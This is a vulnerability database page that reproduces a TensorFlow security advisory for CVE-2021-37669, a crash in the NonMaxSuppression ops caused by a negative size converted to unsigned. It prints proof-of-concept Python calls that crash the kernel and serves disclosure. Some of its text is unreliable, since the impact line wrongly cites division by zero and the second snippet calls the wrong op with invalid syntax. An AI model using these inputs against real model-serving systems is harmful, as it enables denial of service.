CASEBOOK

Browse / AI Framework and Platform Flaws / CVE-2021-37669

Crash in NMS ops caused by integer conversion to unsigned

CVE-2021-37669 ยท 2021-08-25 moderate

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Denial of service
Affected
tensorflow-cpu, tensorflow (PyPI)
CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
0.2% chance of exploitation in 30 days

How it works, in short

A negative output size is implicitly converted to an unsigned value during vector resize, causing the NMS kernel to crash. (Our summary, written by a model. The source text is below.)

Details

Impact

An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5 by triggering a division by 0:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
  scores=[1.0,2.0,3.0],
  max_output_size=-1,
  iou_threshold=0.5,
  score_threshold=0.5,
  soft_nms_sigma=1.0,
  pad_to_max_output_size=True)

The implementation uses a user controlled argument to resize a std::vector:

  const int output_size = max_output_size.scalar<int>()();
  // ...
  std::vector<int> selected;
  // ...
  if (pad_to_max_output_size) {
    selected.resize(output_size, 0);
    // ...
  }

However, as std::vector::resize takes the size argument as a size_t and output_size is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
  max_output_size_per_class=-1,
  max_total_size=10,
  iou_threshold=score_threshold=0.5,
  pad_per_class=True,
  clip_boxes=True)

Patches

We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

Source: GitHub Advisory Database, used under CC BY 4.0.